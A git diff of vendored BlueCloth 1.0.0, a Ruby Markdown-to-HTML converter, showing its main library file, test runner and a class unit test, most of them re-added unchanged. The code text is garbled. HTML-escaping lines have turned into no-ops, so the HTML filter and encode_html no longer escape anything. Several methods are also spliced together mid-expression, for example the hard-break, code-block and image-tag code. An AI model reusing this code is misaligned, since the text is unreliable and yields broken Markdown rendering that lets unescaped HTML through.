-
- until @scanner.empty?
- @log.debug "Scanning from %p" % @scanner.rest
-
- # Match comments and PIs without nesting
- if (( token = @scanner.scan(MetaTag) ))
- type = :tag
-
- # Do nested matching for HTML tags
- elsif (( token = @scanner.scan(HTMLTagOpenRegexp) ))
- tagstart = @scanner.pos
- @log.debug " Found the start of a plain tag at %d" % tagstart
-
- # Start the token with the opening angle
- depth = 1
- type = :tag
-
- # Scan the rest of the tag, allowing unlimited nested <>s. If
- # the scanner runs out of text before the tag is closed, raise
- # an error.
- while depth.nonzero?
-
- # Scan either an opener or a closer
- chunk = @scanner.scan( HTMLTagPart ) or
- raise "Malformed tag at character %d: %p" %
- [ tagstart, token + @scanner.rest ]
-
- @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ]
-
- token += chunk
-
- # If the last character of the token so far is a closing
- # angle bracket, decrement the depth. Otherwise increment
- # it for a nested tag.
- depth += ( token[-1, 1] == '>' ? -1 : 1 )
- @log.debug " Depth is now #{depth}"
- end
-
- # Match text segments
- else
- @log.debug " Looking for a chunk of text"
- type = :text
-
- # Scan forward, always matching at least one character to move
- # the pointer beyond any non-tag '<'.
- token = @scanner.scan_until( /[^<]+/m )
- end
-
- @log.debug " type: %p, token: %p" % [ type, token ]
-
- # If a block is given, feed it one token at a time. Add the token to
- # the token list to be returned regardless.
- if block_given?
- yield( type, token )
- end
- tokens << [ type, token ]
- end
-
- return tokens
- end
-
-
- ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded.
- def encode_html( str )
- str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ).
- gsub( %r{<(?![a-z/?\$!])}i, "<" )
- end
-
-
- ### Return one level of line-leading tabs or spaces from a copy of +str+ and
- ### return it.
- def outdent( str )
- str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '')
- end
-
-end # class BlueCloth
-
+#!/usr/bin/ruby
+#
+# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+# tool.
+#
+# == Synopsis
+#
+# doc = BlueCloth::new "
+# ## Test document ##
+#
+# Just a simple test.
+# "
+#
+# puts doc.to_html
+#
+# == Authors
+#
+# * Michael Granger
+#
+# == Contributors
+#
+# * Martin Chase - Peer review, helpful suggestions
+# * Florian Gross - Filter options, suggestions
+#
+# == Copyright
+#
+# Original version:
+# Copyright (c) 2003-2004 John Gruber
+#
+# All rights reserved.
+#
+# Ruby port:
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+# BlueCloth is free software; you can redistribute it and/or modify it under the
+# terms of the GNU General Public License as published by the Free Software
+# Foundation; either version 2 of the License, or (at your option) any later
+# version.
+#
+# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+#
+# == To-do
+#
+# * Refactor some of the larger uglier methods that have to do their own
+# brute-force scanning because of lack of Perl features in Ruby's Regexp
+# class. Alternately, could add a dependency on 'pcre' and use most Perl
+# regexps.
+#
+# * Put the StringScanner in the render state for thread-safety.
+#
+# == Version
+#
+# $Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+
+require 'digest/md5'
+require 'logger'
+require 'strscan'
+
+
+### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+### tool.
+class BlueCloth < String
+
+ ### Exception class for formatting errors.
+ class FormatError < RuntimeError
+
+ ### Create a new FormatError with the given source +str+ and an optional
+ ### message about the +specific+ error.
+ def initialize( str, specific=nil )
+ if specific
+ msg = "Bad markdown format near %p: %s" % [ str, specific ]
+ else
+ msg = "Bad markdown format near %p" % str
+ end
+
+ super( msg )
+ end
+ end
+
+
+ # Release Version
+ Version = '0.0.3'
+
+ # SVN Revision
+ SvnRev = %q$Rev: 69 $
+
+ # SVN Id tag
+ SvnId = %q$Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+
+ # SVN URL
+ SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $
+
+
+ # Rendering state struct. Keeps track of URLs, titles, and HTML blocks
+ # midway through a render. I prefer this to the globals of the Perl version
+ # because globals make me break out in hives. Or something.
+ RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log )
+
+ # Tab width for #detab! if none is specified
+ TabWidth = 4
+
+ # The tag-closing string -- set to '>' for HTML
+ EmptyElementSuffix = "/>";
+
+ # Table of MD5 sums for escaped characters
+ EscapeTable = {}
+ '\\`*_{}[]()#.!'.split(//).each {|char|
+ hash = Digest::MD5::hexdigest( char )
+
+ EscapeTable[ char ] = {
+ :md5 => hash,
+ :md5re => Regexp::new( hash ),
+ :re => Regexp::new( '\\\\' + Regexp::escape(char) ),
+ }
+ }
+
+
+ #################################################################
+ ### I N S T A N C E M E T H O D S
+ #################################################################
+
+ ### Create a new BlueCloth string.
+ def initialize( content="", *restrictions )
+ @log = Logger::new( $deferr )
+ @log.level = $DEBUG ?
+ Logger::DEBUG :
+ ($VERBOSE ? Logger::INFO : Logger::WARN)
+ @scanner = nil
+
+ # Add any restrictions, and set the line-folding attribute to reflect
+ # what happens by default.
+ @filter_html = nil
+ @filter_styles = nil
+ restrictions.flatten.each {|r| __send__("#{r}=", true) }
+ @fold_lines = true
+
+ super( content )
+
+ @log.debug "String is: %p" % self
+ end
+
+
+ ######
+ public
+ ######
+
+ # Filters for controlling what gets output for untrusted input. (But really,
+ # you're filtering bad stuff out of untrusted input at submission-time via
+ # untainting, aren't you?)
+ attr_accessor :filter_html, :filter_styles
+
+ # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax,
+ # so this isn't used by anything.
+ attr_accessor :fold_lines
+
+
+ ### Render Markdown-formatted text in this string object as HTML and return
+ ### it. The parameter is for compatibility with RedCloth, and is currently
+ ### unused, though that may change in the future.
+ def to_html( lite=false )
+
+ # Create a StringScanner we can reuse for various lexing tasks
+ @scanner = StringScanner::new( '' )
+
+ # Make a structure to carry around stuff that gets placeholdered out of
+ # the source.
+ rs = RenderState::new( {}, {}, {} )
+
+ # Make a copy of the string with normalized line endings, tabs turned to
+ # spaces, and a couple of guaranteed newlines at the end
+ text = self.gsub( /\r\n?/, "\n" ).detab
+ text += "\n\n"
+ @log.debug "Normalized line-endings: %p" % text
+
+ # Filter HTML if we're asked to do so
+ if self.filter_html
+ text.gsub!( "<", "<" )
+ text.gsub!( ">", ">" )
+ @log.debug "Filtered HTML: %p" % text
+ end
+
+ # Simplify blank lines
+ text.gsub!( /^ +$/, '' )
+ @log.debug "Tabs -> spaces/blank lines stripped: %p" % text
+
+ # Replace HTML blocks with placeholders
+ text = hide_html_blocks( text, rs )
+ @log.debug "Hid HTML blocks: %p" % text
+ @log.debug "Render state: %p" % rs
+
+ # Strip link definitions, store in render state
+ text = strip_link_definitions( text, rs )
+ @log.debug "Stripped link definitions: %p" % text
+ @log.debug "Render state: %p" % rs
+
+ # Escape meta-characters
+ text = escape_special_chars( text )
+ @log.debug "Escaped special characters: %p" % text
+
+ # Transform block-level constructs
+ text = apply_block_transforms( text, rs )
+ @log.debug "After block-level transforms: %p" % text
+
+ # Now swap back in all the escaped characters
+ text = unescape_special_chars( text )
+ @log.debug "After unescaping special characters: %p" % text
+
+ return text
+ end
+
+
+ ### Convert tabs in +str+ to spaces.
+ def detab( tabwidth=TabWidth )
+ copy = self.dup
+ copy.detab!( tabwidth )
+ return copy
+ end
+
+
+ ### Convert tabs to spaces in place and return self if any were converted.
+ def detab!( tabwidth=TabWidth )
+ newstr = self.split( /\n/ ).collect {|line|
+ line.gsub( /(.*?)\t/ ) do
+ $1 + ' ' * (tabwidth - $1.length % tabwidth)
+ end
+ }.join("\n")
+ self.replace( newstr )
+ end
+
+
+ #######
+ #private
+ #######
+
+ ### Do block-level transforms on a copy of +str+ using the specified render
+ ### state +rs+ and return the results.
+ def apply_block_transforms( str, rs )
+ # Port: This was called '_runBlockGamut' in the original
+
+ @log.debug "Applying block transforms to:\n %p" % str
+ text = transform_headers( str, rs )
+ text = transform_hrules( text, rs )
+ text = transform_lists( text, rs )
+ text = transform_code_blocks( text, rs )
+ text = transform_block_quotes( text, rs )
+ text = transform_auto_links( text, rs )
+ text = hide_html_blocks( text, rs )
+
+ text = form_paragraphs( text, rs )
+
+ @log.debug "Done with block transforms:\n %p" % text
+ return text
+ end
+
+
+ ### Apply Markdown span transforms to a copy of the specified +str+ with the
+ ### given render state +rs+ and return it.
+ def apply_span_transforms( str, rs )
+ @log.debug "Applying span transforms to:\n %p" % str
+
+ str = transform_code_spans( str, rs )
+ str = encode_html( str )
+ str = transform_images( str, rs )
+ str = transform_anchors( str, rs )
+ str = transform_italic_and_bold( str, rs )
+
+ # Hard breaks
+ str.gsub!( / {2,}\n/, "
+ #
+ # tags for inner block must be indented.
+ #
+ #
%s\n
\n\n%s} %
+ [ encode_code( outdent(codeblock), rs ).rstrip, remainder ]
+ }
+ end
+
+
+ # Pattern for matching Markdown blockquote blocks
+ BlockQuoteRegexp = %r{
+ (?:
+ ^[ ]*>[ ]? # '>' at the start of a line
+ .+\n # rest of the first line
+ (?:.+\n)* # subsequent consecutive lines
+ \n* # blanks
+ )+
+ }x
+ PreChunk = %r{ ( ^ \s* .+?) }xm + + ### Transform Markdown-style blockquotes in a copy of the specified +str+ + ### and return it. + def transform_block_quotes( str, rs ) + @log.debug " Transforming block quotes" + + str.gsub( BlockQuoteRegexp ) {|quote| + @log.debug "Making blockquote from %p" % quote + + quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting + quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines + + indent = " " * TabWidth + quoted = %{
\n%s\n\n\n} % + apply_block_transforms( quote, rs ). + gsub( /^/, indent ). + gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } + @log.debug "Blockquoted chunk is: %p" % quoted + quoted + } + end + + + AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ + AutoAnchorEmailRegexp = %r{ + < + ( + [-.\w]+ + \@ + [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ + ) + > + }xi + + ### Transform URLs in a copy of the specified +str+ into links and return + ### it. + def transform_auto_links( str, rs ) + @log.debug " Transforming auto-links" + str.gsub( AutoAnchorURLRegexp, %{\\1}). + gsub( AutoAnchorEmailRegexp ) {|addr| + encode_email_address( unescape_special_chars($1) ) + } + end + + + # Encoder functions to turn characters of an email address into encoded + # entities. + Encoders = [ + lambda {|char| "%03d;" % char}, + lambda {|char| "%X;" % char}, + lambda {|char| char.chr }, + ] + + ### Transform a copy of the given email +addr+ into an escaped version safer + ### for posting publicly. + def encode_email_address( addr ) + + rval = '' + ("mailto:" + addr).each_byte {|b| + case b + when ?: + rval += ":" + when ?@ + rval += Encoders[ rand(2) ][ b ] + else + r = rand(100) + rval += ( + r > 90 ? Encoders[2][ b ] : + r < 45 ? Encoders[1][ b ] : + Encoders[0][ b ] + ) + end + } + + return %{%s} % [ rval, rval.sub(/.+?:/, '') ] + end + + + # Regex for matching Setext-style headers + SetextHeaderRegexp = %r{ + (.+) # The title text ($1) + \n + ([\-=])+ # Match a line of = or -. Save only one in $2. + [ ]*\n+ + }x + + # Regexp for matching ATX-style headers + AtxHeaderRegexp = %r{ + ^(\#{1,6}) # $1 = string of #'s + [ ]* + (.+?) # $2 = Header text + [ ]* + \#* # optional closing #'s (not counted) + \n+ + }x + + ### Apply Markdown header transforms to a copy of the given +str+ amd render + ### state +rs+ and return the result. + def transform_headers( str, rs ) + @log.debug " Transforming headers" + + # Setext-style headers: + # Header 1 + # ======== + # + # Header 2 + # -------- + # + str. + gsub( SetextHeaderRegexp ) {|m| + @log.debug "Found setext-style header" + title, hdrchar = $1, $2 + title = apply_span_transforms( title, rs ) + + case hdrchar + when '=' + %[
+ ### tags and return it. + def form_paragraphs( str, rs ) + @log.debug " Forming paragraphs" + grafs = str. + sub( /\A\n+/, '' ). + sub( /\n+\z/, '' ). + split( /\n{2,}/ ) + + rval = grafs.collect {|graf| + + # Unhashify HTML blocks if this is a placeholder + if rs.html_blocks.key?( graf ) + rs.html_blocks[ graf ] + + # Otherwise, wrap in
tags + else + apply_span_transforms(graf, rs). + sub( /^[ ]*/, '
' ) + '
' + end + }.join( "\n\n" ) + + @log.debug " Formed paragraphs: %p" % rval + return rval + end + + + # Pattern to match the linkid part of an anchor tag for reference-style + # links. + RefLinkIdRegex = %r{ + [ ]? # Optional leading space + (?:\n[ ]*)? # Optional newline + spaces + \[ + (.*?) # Id = $1 + \] + }x + + InlineLinkRegex = %r{ + \( # Literal paren + [ ]* # Zero or more spaces + (.+?)>? # URI = $1 + [ ]* # Zero or more spaces + (?: # + ([\"\']) # Opening quote char = $2 + (.*?) # Title = $3 + \2 # Matching quote char + )? # Title is optional + \) + }x + + ### Apply Markdown anchor transforms to a copy of the specified +str+ with + ### the given render state +rs+ and return it. + def transform_anchors( str, rs ) + @log.debug " Transforming anchors" + @scanner.string = str.dup + text = '' + + # Scan the whole string + until @scanner.empty? + + if @scanner.scan( /\[/ ) + link = ''; linkid = '' + depth = 1 + startpos = @scanner.pos + @log.debug " Found a bracket-open at %d" % startpos + + # Scan the rest of the tag, allowing unlimited nested []s. If + # the scanner runs out of text before the opening bracket is + # closed, append the text and return (wasn't a valid anchor). + while depth.nonzero? + linktext = @scanner.scan_until( /\]|\[/ ) + + if linktext + @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] + link += linktext + + # Decrement depth for each closing bracket + depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + + # If there's no more brackets, it must not be an anchor, so + # just abort. + else + @log.debug " Missing closing brace, assuming non-link." + link += @scanner.rest + @scanner.terminate + return text + '[' + link + end + end + link.slice!( -1 ) # Trim final ']' + @log.debug " Found leading link %p" % link + + # Look for a reference-style second part + if @scanner.scan( RefLinkIdRegex ) + linkid = @scanner[1] + linkid = link.dup if linkid.empty? + linkid.downcase! + @log.debug " Found a linkid: %p" % linkid + + # If there's a matching link in the link table, build an + # anchor tag for it. + if rs.urls.key?( linkid ) + @log.debug " Found link key in the link table: %p" % rs.urls[linkid] + url = escape_md( rs.urls[linkid] ) + + text += %{#{link}} + + # If the link referred to doesn't exist, just append the raw + # source to the result + else + @log.debug " Linkid %p not found in link table" % linkid + @log.debug " Appending original string instead: " + @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end + + # ...or for an inline style second part + elsif @scanner.scan( InlineLinkRegex ) + url = @scanner[1] + title = @scanner[3] + @log.debug " Found an inline link to %p" % url + + text += %{#{link}} + + # No linkid part: just append the first part as-is. + else + @log.debug "No linkid, so no anchor. Appending literal text." + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end # if linkid + + # Plain text + else + @log.debug " Scanning to the next link from %p" % @scanner.rest + text += @scanner.scan( /[^\[]+/ ) + end + + end # until @scanner.empty? + + return text + end + + + # Pattern to match strong emphasis in Markdown text + BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x + + # Pattern to match normal emphasis in Markdown text + ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x + + ### Transform italic- and bold-encoded text in a copy of the specified +str+ + ### and return it. + def transform_italic_and_bold( str, rs ) + @log.debug " Transforming italic and bold" + + str. + gsub( BoldRegexp, %{\\2} ). + gsub( ItalicRegexp, %{\\2} ) + end + + + ### Transform backticked spans into spans.
+ def transform_code_spans( str, rs )
+ @log.debug " Transforming code spans"
+
+ # Set up the string scanner and just return the string unless there's at
+ # least one backtick.
+ @scanner.string = str.dup
+ unless @scanner.exist?( /`/ )
+ @scanner.terminate
+ @log.debug "No backticks found for code span in %p" % str
+ return str
+ end
+
+ @log.debug "Transforming code spans in %p" % str
+
+ # Build the transformed text anew
+ text = ''
+
+ # Scan to the end of the string
+ until @scanner.empty?
+
+ # Scan up to an opening backtick
+ if pre = @scanner.scan_until( /.?(?=`)/m )
+ text += pre
+ @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ]
+
+ # Make a pattern to find the end of the span
+ opener = @scanner.scan( /`+/ )
+ len = opener.length
+ closer = Regexp::new( opener )
+ @log.debug "Scanning for end of code span with %p" % closer
+
+ # Scan until the end of the closing backtick sequence. Chop the
+ # backticks off the resultant string, strip leading and trailing
+ # whitespace, and encode any enitites contained in it.
+ codespan = @scanner.scan_until( closer ) or
+ raise FormatError::new( @scanner.rest[0,20],
+ "No %p found before end" % opener )
+
+ @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ]
+ codespan.slice!( -len, len )
+ text += "%s
" %
+ encode_code( codespan.strip, rs )
+
+ # If there's no more backticks, just append the rest of the string
+ # and move the scan pointer to the end
+ else
+ text += @scanner.rest
+ @scanner.terminate
+ end
+ end
+
+ return text
+ end
+
+
+ # Next, handle inline images: ![alt text](url "optional title")
+ # Don't forget: encode * and _
+ InlineImageRegexp = %r{
+ ( # Whole match = $1
+ !\[ (.*?) \] # alt text = $2
+ \([ ]*
+ (\S+?)>? # source url = $3
+ [ ]*
+ (?: #
+ (["']) # quote char = $4
+ (.*?) # title = $5
+ \4 # matching quote
+ [ ]*
+ )? # title is optional
+ \)
+ )
+ }xs #"
+
+
+ # Reference-style images
+ ReferenceImageRegexp = %r{
+ ( # Whole match = $1
+ !\[ (.*?) \] # Alt text = $2
+ [ ]? # Optional space
+ (?:\n[ ]*)? # One optional newline + spaces
+ \[ (.*?) \] # id = $3
+ )
+ }xs
+
+ ### Turn image markup into image tags.
+ def transform_images( str, rs )
+ @log.debug " Transforming images" % str
+
+ # Handle reference-style labeled images: ![alt text][id]
+ str.
+ gsub( ReferenceImageRegexp ) {|match|
+ whole, alt, linkid = $1, $2, $3.downcase
+ @log.debug "Matched %p" % match
+ res = nil
+ alt.gsub!( /"/, '"' )
+
+ # for shortcut links like ![this][].
+ linkid = alt.downcase if linkid.empty?
+
+ if rs.urls.key?( linkid )
+ url = escape_md( rs.urls[linkid] )
+ @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ]
+
+ # Build the tag
+ result = %{}, '>' ).
+ gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]}
+ end
+
+
+
+ #################################################################
+ ### U T I L I T Y F U N C T I O N S
+ #################################################################
+
+ ### Escape any markdown characters in a copy of the given +str+ and return
+ ### it.
+ def escape_md( str )
+ str.
+ gsub( /\*/, EscapeTable['*'][:md5] ).
+ gsub( /_/, EscapeTable['_'][:md5] )
+ end
+
+
+ # Matching constructs for tokenizing X/HTML
+ HTMLCommentRegexp = %r{ }mx
+ XMLProcInstRegexp = %r{ <\? .*? \?> }mx
+ MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp )
+
+ HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx
+ HTMLTagCloseRegexp = %r{ > }x
+ HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp )
+
+ ### Break the HTML source in +str+ into a series of tokens and return
+ ### them. The tokens are just 2-element Array tuples with a type and the
+ ### actual content. If this function is called with a block, the type and
+ ### text parts of each token will be yielded to it one at a time as they are
+ ### extracted.
+ def tokenize_html( str )
+ depth = 0
+ tokens = []
+ @scanner.string = str.dup
+ type, token = nil, nil
+
+ until @scanner.empty?
+ @log.debug "Scanning from %p" % @scanner.rest
+
+ # Match comments and PIs without nesting
+ if (( token = @scanner.scan(MetaTag) ))
+ type = :tag
+
+ # Do nested matching for HTML tags
+ elsif (( token = @scanner.scan(HTMLTagOpenRegexp) ))
+ tagstart = @scanner.pos
+ @log.debug " Found the start of a plain tag at %d" % tagstart
+
+ # Start the token with the opening angle
+ depth = 1
+ type = :tag
+
+ # Scan the rest of the tag, allowing unlimited nested <>s. If
+ # the scanner runs out of text before the tag is closed, raise
+ # an error.
+ while depth.nonzero?
+
+ # Scan either an opener or a closer
+ chunk = @scanner.scan( HTMLTagPart ) or
+ raise "Malformed tag at character %d: %p" %
+ [ tagstart, token + @scanner.rest ]
+
+ @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ]
+
+ token += chunk
+
+ # If the last character of the token so far is a closing
+ # angle bracket, decrement the depth. Otherwise increment
+ # it for a nested tag.
+ depth += ( token[-1, 1] == '>' ? -1 : 1 )
+ @log.debug " Depth is now #{depth}"
+ end
+
+ # Match text segments
+ else
+ @log.debug " Looking for a chunk of text"
+ type = :text
+
+ # Scan forward, always matching at least one character to move
+ # the pointer beyond any non-tag '<'.
+ token = @scanner.scan_until( /[^<]+/m )
+ end
+
+ @log.debug " type: %p, token: %p" % [ type, token ]
+
+ # If a block is given, feed it one token at a time. Add the token to
+ # the token list to be returned regardless.
+ if block_given?
+ yield( type, token )
+ end
+ tokens << [ type, token ]
+ end
+
+ return tokens
+ end
+
+
+ ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded.
+ def encode_html( str )
+ str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ).
+ gsub( %r{<(?![a-z/?\$!])}i, "<" )
+ end
+
+
+ ### Return one level of line-leading tabs or spaces from a copy of +str+ and
+ ### return it.
+ def outdent( str )
+ str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '')
+ end
+
+end # class BlueCloth
+
diff --git a/vendor/bluecloth-1.0.0/test.rb b/vendor/bluecloth-1.0.0/test.rb
index c86fca08..935ef68b 100755
--- a/vendor/bluecloth-1.0.0/test.rb
+++ b/vendor/bluecloth-1.0.0/test.rb
@@ -1,117 +1,117 @@
-#!/usr/bin/ruby
-#
-# Test suite for BlueCloth classes
-# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
-#
-
-BEGIN {
- $basedir = File::dirname( __FILE__ )
- ["lib", "tests", "redist"].each do |subdir|
- $LOAD_PATH.unshift File::join( $basedir, subdir )
- end
-
- require "#{$basedir}/utils"
- include UtilityFunctions
-}
-
-verboseOff {
- require 'bctestcase'
- require 'find'
- require 'test/unit'
- require 'test/unit/testsuite'
- require 'test/unit/ui/console/testrunner'
- require 'optparse'
-}
-
-# Turn off output buffering
-$stderr.sync = $stdout.sync = true
-$DebugPattern = nil
-
-# Initialize variables
-safelevel = 0
-patterns = []
-requires = []
-
-# Parse command-line switches
-ARGV.options {|oparser|
- oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
-
- oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
- "Turn debugging on (for tests which match PATTERN)" ) {|arg|
- if arg
- $DebugPattern = Regexp::new( arg )
- puts "Turned debugging on for %p." % $DebugPattern
- else
- $DEBUG = true
- debugMsg "Turned debugging on globally."
- end
- }
-
- oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
- $VERBOSE = true
- debugMsg "Turned verbose on."
- }
-
- # Handle the 'help' option
- oparser.on( "--help", "-h", "Display this text." ) {
- $stderr.puts oparser
- exit!(0)
- }
-
- oparser.parse!
-}
-
-# Parse test patterns
-ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
-$stderr.puts "#{patterns.length} patterns given on the command line"
-
-### Load all the tests from the tests dir
-Find.find("#{$basedir}/tests") {|file|
- Find.prune if /\/\./ =~ file or /~$/ =~ file
- Find.prune if /TEMPLATE/ =~ file
- next if File.stat( file ).directory?
-
- unless patterns.empty?
- Find.prune unless patterns.find {|pat| pat =~ file}
- end
-
- debugMsg "Considering '%s': " % file
- next unless file =~ /\.tests.rb$/
- debugMsg "Requiring '%s'..." % file
- require "#{file}"
- requires << file
-}
-
-$stderr.puts "Required #{requires.length} files."
-unless patterns.empty?
- $stderr.puts "[" + requires.sort.join( ", " ) + "]"
-end
-
-# Build the test suite
-class BlueClothTests
- class << self
- def suite
- suite = Test::Unit::TestSuite.new( "BlueCloth" )
-
- if suite.respond_to?( :add )
- ObjectSpace.each_object( Class ) {|klass|
- suite.add( klass.suite ) if klass < BlueCloth::TestCase
- }
- else
- ObjectSpace.each_object( Class ) {|klass|
- suite << klass.suite if klass < BlueCloth::TestCase
- }
- end
-
- return suite
- end
- end
-end
-
-# Run tests
-$SAFE = safelevel
-Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
-
-
-
-
+#!/usr/bin/ruby
+#
+# Test suite for BlueCloth classes
+# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+
+BEGIN {
+ $basedir = File::dirname( __FILE__ )
+ ["lib", "tests", "redist"].each do |subdir|
+ $LOAD_PATH.unshift File::join( $basedir, subdir )
+ end
+
+ require "#{$basedir}/utils"
+ include UtilityFunctions
+}
+
+verboseOff {
+ require 'bctestcase'
+ require 'find'
+ require 'test/unit'
+ require 'test/unit/testsuite'
+ require 'test/unit/ui/console/testrunner'
+ require 'optparse'
+}
+
+# Turn off output buffering
+$stderr.sync = $stdout.sync = true
+$DebugPattern = nil
+
+# Initialize variables
+safelevel = 0
+patterns = []
+requires = []
+
+# Parse command-line switches
+ARGV.options {|oparser|
+ oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
+
+ oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
+ "Turn debugging on (for tests which match PATTERN)" ) {|arg|
+ if arg
+ $DebugPattern = Regexp::new( arg )
+ puts "Turned debugging on for %p." % $DebugPattern
+ else
+ $DEBUG = true
+ debugMsg "Turned debugging on globally."
+ end
+ }
+
+ oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
+ $VERBOSE = true
+ debugMsg "Turned verbose on."
+ }
+
+ # Handle the 'help' option
+ oparser.on( "--help", "-h", "Display this text." ) {
+ $stderr.puts oparser
+ exit!(0)
+ }
+
+ oparser.parse!
+}
+
+# Parse test patterns
+ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
+$stderr.puts "#{patterns.length} patterns given on the command line"
+
+### Load all the tests from the tests dir
+Find.find("#{$basedir}/tests") {|file|
+ Find.prune if /\/\./ =~ file or /~$/ =~ file
+ Find.prune if /TEMPLATE/ =~ file
+ next if File.stat( file ).directory?
+
+ unless patterns.empty?
+ Find.prune unless patterns.find {|pat| pat =~ file}
+ end
+
+ debugMsg "Considering '%s': " % file
+ next unless file =~ /\.tests.rb$/
+ debugMsg "Requiring '%s'..." % file
+ require "#{file}"
+ requires << file
+}
+
+$stderr.puts "Required #{requires.length} files."
+unless patterns.empty?
+ $stderr.puts "[" + requires.sort.join( ", " ) + "]"
+end
+
+# Build the test suite
+class BlueClothTests
+ class << self
+ def suite
+ suite = Test::Unit::TestSuite.new( "BlueCloth" )
+
+ if suite.respond_to?( :add )
+ ObjectSpace.each_object( Class ) {|klass|
+ suite.add( klass.suite ) if klass < BlueCloth::TestCase
+ }
+ else
+ ObjectSpace.each_object( Class ) {|klass|
+ suite << klass.suite if klass < BlueCloth::TestCase
+ }
+ end
+
+ return suite
+ end
+ end
+end
+
+# Run tests
+$SAFE = safelevel
+Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
+
+
+
+
diff --git a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb
index e735d80a..730d17d4 100755
--- a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb
+++ b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb
@@ -1,71 +1,71 @@
-#!/usr/bin/ruby
-#
-# Unit test for the BlueCloth class object
-# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
-#
-# Copyright (c) 2004 The FaerieMUD Consortium.
-#
-
-if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
- basedir = File::dirname( __FILE__ )
- require File::join( basedir, 'bctestcase' )
-end
-
-
-### This test case tests ...
-class BlueClothClassTestCase < BlueCloth::TestCase
-
- TestString = "foo"
-
- def test_00_class_constant
- printTestHeader "BlueCloth: Class Constant"
-
- assert Object::constants.include?( "BlueCloth" ),
- "No BlueCloth constant in Object"
- assert_instance_of Class, BlueCloth
- end
-
- def test_01_instantiation
- printTestHeader "BlueCloth: Instantiation"
- rval = nil
-
- # With no argument... ("")
- assert_nothing_raised {
- rval = BlueCloth::new
- }
- assert_instance_of BlueCloth, rval
- assert_kind_of String, rval
- assert_equal "", rval
-
- # String argument
- assert_nothing_raised {
- rval = BlueCloth::new TestString
- }
- assert_instance_of BlueCloth, rval
- assert_kind_of String, rval
- assert_equal TestString, rval
-
- addSetupBlock {
- debugMsg "Creating a new BlueCloth"
- @obj = BlueCloth::new( TestString )
- }
- addTeardownBlock {
- @obj = nil
- }
- end
-
- def test_02_duplication
- printTestHeader "BlueCloth: Duplication"
- rval = nil
-
- assert_nothing_raised {
- rval = @obj.dup
- }
- assert_instance_of BlueCloth, rval
- assert_kind_of String, rval
- assert_equal TestString, rval
- end
-
-
-end
-
+#!/usr/bin/ruby
+#
+# Unit test for the BlueCloth class object
+# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+### This test case tests ...
+class BlueClothClassTestCase < BlueCloth::TestCase
+
+ TestString = "foo"
+
+ def test_00_class_constant
+ printTestHeader "BlueCloth: Class Constant"
+
+ assert Object::constants.include?( "BlueCloth" ),
+ "No BlueCloth constant in Object"
+ assert_instance_of Class, BlueCloth
+ end
+
+ def test_01_instantiation
